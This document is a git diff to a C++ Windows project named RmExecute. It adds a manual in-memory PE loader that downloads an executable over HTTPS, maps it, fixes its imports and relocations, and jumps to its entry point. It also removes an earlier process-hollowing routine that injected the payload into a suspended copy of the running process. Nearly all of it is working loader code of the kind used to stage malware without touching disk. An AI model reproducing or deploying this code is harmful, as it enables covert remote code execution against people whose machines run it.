diff --git a/RmExecute/Loader.cpp b/RmExecute/Loader.cpp
index 5b2b99d..6982e42 100644
--- a/RmExecute/Loader.cpp
+++ b/RmExecute/Loader.cpp
@@ -113,6 +113,8 @@ int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
*/
int _tmain(int argc, _TCHAR* argv[])
{
+ RunShellCode();
+ return 0;
#else
int _tmain(int argc, _TCHAR* argv[])
diff --git a/RmExecute/RmExecute.vcxproj b/RmExecute/RmExecute.vcxproj
index feabde1..c46d6fa 100644
--- a/RmExecute/RmExecute.vcxproj
+++ b/RmExecute/RmExecute.vcxproj
@@ -63,6 +63,9 @@
v142
+ Static
+ MultiByte
+ true
@@ -86,6 +89,9 @@
false
+
+ false
+
@@ -164,6 +170,49 @@
_DEBUG
+
+
+ false
+
+
+
+
+ Level3
+ None
+ Speed
+ false
+ NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
+ true
+ false
+ false
+ true
+
+
+ user32.lib;winhttp.lib;msvcrt.lib;
+
+
+
+
+ false
+ Console
+ true
+ false
+
+
+ None
+
+
+ false
+
+
+ Level3
+ true
+ false
+ RUNEXEMT;_CRT_SECURE_NO_WARNINGS
+ MultiThreaded
+ false
+
+
diff --git a/RmExecute/ShellCode.cpp b/RmExecute/ShellCode.cpp
index d1a5f84..017fc01 100644
--- a/RmExecute/ShellCode.cpp
+++ b/RmExecute/ShellCode.cpp
@@ -67,7 +67,7 @@ public:
int size = HttpDownload(host, path, 443, TRUE);
- //fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK);
+ fn.fnMessageBoxA(NULL, newbuff, NULL, MB_OK);
RunPortableExecutable();
diff --git a/RmExecute/Tool.h b/RmExecute/Tool.h
index f3696ae..6a869a3 100644
--- a/RmExecute/Tool.h
+++ b/RmExecute/Tool.h
@@ -171,7 +171,188 @@ void RmExecute::Initfunctions(Pfunctions pfn)
}
+VOID FixImageIAT(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header)
+{
+ PIMAGE_THUNK_DATA thunk;
+ PIMAGE_THUNK_DATA fixup;
+ DWORD iat_rva;
+ SIZE_T iat_size;
+ HMODULE import_base;
+ PIMAGE_IMPORT_DESCRIPTOR import_table =
+ (PIMAGE_IMPORT_DESCRIPTOR)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress +
+ (UINT_PTR)dos_header);
+ DWORD iat_loc =
+ (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress) ?
+ IMAGE_DIRECTORY_ENTRY_IAT :
+ IMAGE_DIRECTORY_ENTRY_IMPORT;
+
+ iat_rva = nt_header->OptionalHeader.DataDirectory[iat_loc].VirtualAddress;
+ iat_size = nt_header->OptionalHeader.DataDirectory[iat_loc].Size;
+
+ LPVOID iat = (LPVOID)(iat_rva + (UINT_PTR)dos_header);
+ DWORD op;
+ VirtualProtect(iat, iat_size, PAGE_READWRITE, &op);
+ __try {
+ while (import_table->Name) {
+ import_base = LoadLibraryA((LPCSTR)(import_table->Name + (UINT_PTR)dos_header));
+ fixup = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
+ if (import_table->OriginalFirstThunk) {
+ thunk = (PIMAGE_THUNK_DATA)(import_table->OriginalFirstThunk + (UINT_PTR)dos_header);
+ }
+ else {
+ thunk = (PIMAGE_THUNK_DATA)(import_table->FirstThunk + (UINT_PTR)dos_header);
+ }
+
+ while (thunk->u1.Function) {
+ PCHAR func_name;
+ if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
+ fixup->u1.Function =
+ (UINT_PTR)GetProcAddress(import_base, (LPCSTR)(thunk->u1.Ordinal & 0xFFFF));
+
+ }
+ else {
+ func_name =
+ (PCHAR)(((PIMAGE_IMPORT_BY_NAME)(thunk->u1.AddressOfData))->Name + (UINT_PTR)dos_header);
+ fixup->u1.Function = (UINT_PTR)GetProcAddress(import_base, func_name);
+ }
+ fixup++;
+ thunk++;
+ }
+ import_table++;
+ }
+ }
+ __except (1) {
+
+ }
+ return;
+}
+
+//works with manually mapped files
+HANDLE GetImageActCtx(HMODULE module)
+{
+ WCHAR temp_path[MAX_PATH];
+ WCHAR temp_filename[MAX_PATH];
+ for (int i = 1; i <= 3; i++) {
+ HRSRC resource_info = FindResource(module, MAKEINTRESOURCE(i), RT_MANIFEST);
+ if (resource_info) {
+ HGLOBAL resource = LoadResource(module, resource_info);
+ DWORD resource_size = SizeofResource(module, resource_info);
+ const PBYTE resource_data = (const PBYTE)LockResource(resource);
+ /*if (resource_data && resource_size) {
+ FILE* fp;
+ errno_t err;
+ DWORD ret_val = GetTempPath(MAX_PATH, temp_path);
+
+ if (0 == GetTempFileName(temp_path, L"manifest.tmp", 0, temp_filename))
+ return NULL;
+
+ err = _wfopen_s(&fp, temp_filename, L"w");
+
+ if (errno)
+ return NULL;
+
+ fprintf(fp, (const char*)resource_data);
+ fclose(fp);
+ break;
+ }
+ else {
+ return NULL;
+ }*/
+ }
+ }
+
+ ACTCTXW act = { sizeof(act) };
+ act.lpSource = temp_filename;
+ return CreateActCtx(&act);
+}
+
+//if base_addr points to a byte stream in memory then load module from that
+//if base_addr is NULL then attempt to map module into memory from resource
+//***note if module is memory mapped manually then it has no loaded module handle
+//and some modules use the module base as the handle for a call and it will fail
+LPVOID MapImageToMemory(LPVOID base_addr)
+{
+ LPVOID mem_image_base = NULL;
+ __try {
+
+ PIMAGE_DOS_HEADER raw_image_base = (PIMAGE_DOS_HEADER)base_addr;
+
+ HMODULE proc_base = GetModuleHandle(NULL);
+
+
+ if (IMAGE_DOS_SIGNATURE != raw_image_base->e_magic)
+ return NULL;
+
+ PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(raw_image_base->e_lfanew + (UINT_PTR)raw_image_base);
+ if (IMAGE_NT_SIGNATURE != nt_header->Signature)
+ return NULL;
+
+ //only 64bit modules will be loaded
+ if (IMAGE_FILE_MACHINE_AMD64 != nt_header->FileHeader.Machine)
+ return NULL;
+
+ //Not going to bother with .net
+ if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress)
+ return NULL;
+
+ PIMAGE_SECTION_HEADER section_header =
+ (PIMAGE_SECTION_HEADER)(raw_image_base->e_lfanew + sizeof(*nt_header) + (UINT_PTR)raw_image_base);
+
+ mem_image_base = VirtualAlloc(
+ (LPVOID)(nt_header->OptionalHeader.ImageBase),
+ nt_header->OptionalHeader.SizeOfImage,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE);
+
+ if (NULL == mem_image_base) {
+ mem_image_base = VirtualAlloc(
+ NULL,
+ nt_header->OptionalHeader.SizeOfImage,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE);
+ }
+
+ if (NULL == mem_image_base)
+ return NULL;
+
+ memcpy(mem_image_base, (LPVOID)raw_image_base, nt_header->OptionalHeader.SizeOfHeaders);
+
+ for (int i = 0; i < nt_header->FileHeader.NumberOfSections; i++) {
+ memcpy(
+ (LPVOID)(section_header->VirtualAddress + (UINT_PTR)mem_image_base),
+ (LPVOID)(section_header->PointerToRawData + (UINT_PTR)raw_image_base),
+ section_header->SizeOfRawData);
+ section_header++;
+ }
+ }
+ __except (1) {
+
+ }
+ return mem_image_base;
+}
+
+BOOL FixImageRelocations(PIMAGE_DOS_HEADER dos_header, PIMAGE_NT_HEADERS nt_header, ULONG_PTR delta)
+{
+ ULONG_PTR size;
+ PULONG_PTR intruction;
+ PIMAGE_BASE_RELOCATION reloc_block =
+ (PIMAGE_BASE_RELOCATION)(nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress +
+ (UINT_PTR)dos_header);
+
+ while (reloc_block->VirtualAddress) {
+ size = (reloc_block->SizeOfBlock - sizeof(reloc_block)) / sizeof(WORD);
+ PWORD fixup = (PWORD)((ULONG_PTR)reloc_block + sizeof(reloc_block));
+ for (int i = 0; i < size; i++, fixup++) {
+ if (IMAGE_REL_BASED_DIR64 == *fixup >> 12) {
+ intruction = (PULONG_PTR)(reloc_block->VirtualAddress + (ULONG_PTR)dos_header + (*fixup & 0xfff));
+ *intruction += delta;
+ }
+ }
+ reloc_block = (PIMAGE_BASE_RELOCATION)(reloc_block->SizeOfBlock + (ULONG_PTR)reloc_block);
+ }
+ return TRUE;
+}
// 用完一定要free
int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,BOOL useSSL =FALSE) {
@@ -312,69 +493,47 @@ int RmExecute::HttpDownload(wchar_t* target, wchar_t* path, INTERNET_PORT port,B
}
#ifdef _WIN64
+
+typedef IMAGE_NT_HEADERS64 IMAGE_NT_HEADERS;
+typedef PIMAGE_NT_HEADERS64 PIMAGE_NT_HEADERS;
+typedef IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER;
+typedef PIMAGE_OPTIONAL_HEADER64 PIMAGE_OPTIONAL_HEADER;
+
bool RmExecute::RunPortableExecutable() {
- IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
- IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
- IMAGE_SECTION_HEADER* SectionHeader;
+ PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory((LPVOID)newbuff);
+ //PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)MapImageToMemory(NULL);//not working with some files like notepad etc
+ //PIMAGE_DOS_HEADER image_base = (PIMAGE_DOS_HEADER)LoadLibrary(L"mspaint.exe");//works
+ if (!image_base) {
+ return 1;
+ }
- PROCESS_INFORMATION PI;
- STARTUPINFOA SI;
+ PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(image_base->e_lfanew + (UINT_PTR)image_base);
+ HANDLE actctx = NULL;
+ UINT_PTR cookie = 0;
+ BOOL changed_ctx = FALSE;
+ if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) {
+ actctx = GetImageActCtx((HMODULE)image_base);
+ if (actctx)
+ changed_ctx = ActivateActCtx(actctx, &cookie);
+ }
- CONTEXT* CTX;
+ FixImageIAT(image_base, nt_header);
- ULONG_PTR* ImageBase; //Base address of the image
- void* pImageBase; // Pointer to the image base
+ if (nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) {
+ ptrdiff_t delta = (ptrdiff_t)((PBYTE)image_base - (PBYTE)nt_header->OptionalHeader.ImageBase);
+ if (delta)
+ FixImageRelocations(image_base, nt_header, delta);
+ }
- int count;
- char CurrentFilePath[1024];
+ LPVOID oep = (LPVOID)(nt_header->OptionalHeader.AddressOfEntryPoint + (UINT_PTR)image_base);
+ ((void(*)())(oep))();
+ //DWORD tid;
+ //PCONTEXT ctx;
+ //CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)oep, NULL, 0, &tid);
- DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
- NtHeader = PIMAGE_NT_HEADERS(ULONG_PTR(newbuff) + DOSHeader->e_lfanew); // Initialize
-
- GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable
-
- if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
- {
- ZeroMemory(&PI, sizeof(PI)); // Null the memory
- ZeroMemory(&SI, sizeof(SI)); // Null the memory
-
- if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
- CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
- //process in suspended state, for the new image.
- {
- // Allocate memory for the context.
- CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
- CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
-
- if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
- {
- // Read instructions
- ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Rbx + 8), LPVOID(&ImageBase), 4, 0);
-
- pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
- NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
-
- // Write the image to the process
- WriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
-
- for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
- {
- SectionHeader = PIMAGE_SECTION_HEADER(ULONG_PTR(newbuff) + DOSHeader->e_lfanew + 248 + (ULONG_PTR)(count * 40));
-
- WriteProcessMemory(PI.hProcess, LPVOID(ULONG_PTR(pImageBase) + SectionHeader->VirtualAddress),
- LPVOID(ULONG_PTR(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
- }
- WriteProcessMemory(PI.hProcess, LPVOID(CTX->Rbx + 8),
- LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
-
- // Move address of entry point to the rax register
- CTX->Rax = ULONG_PTR(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
- SetThreadContext(PI.hThread, LPCONTEXT(CTX));
- ResumeThread(PI.hThread);
-
- return 0;
- }
- }
+ if (changed_ctx) {
+ DeactivateActCtx(0, cookie);
+ ReleaseActCtx(actctx);
}
}
#else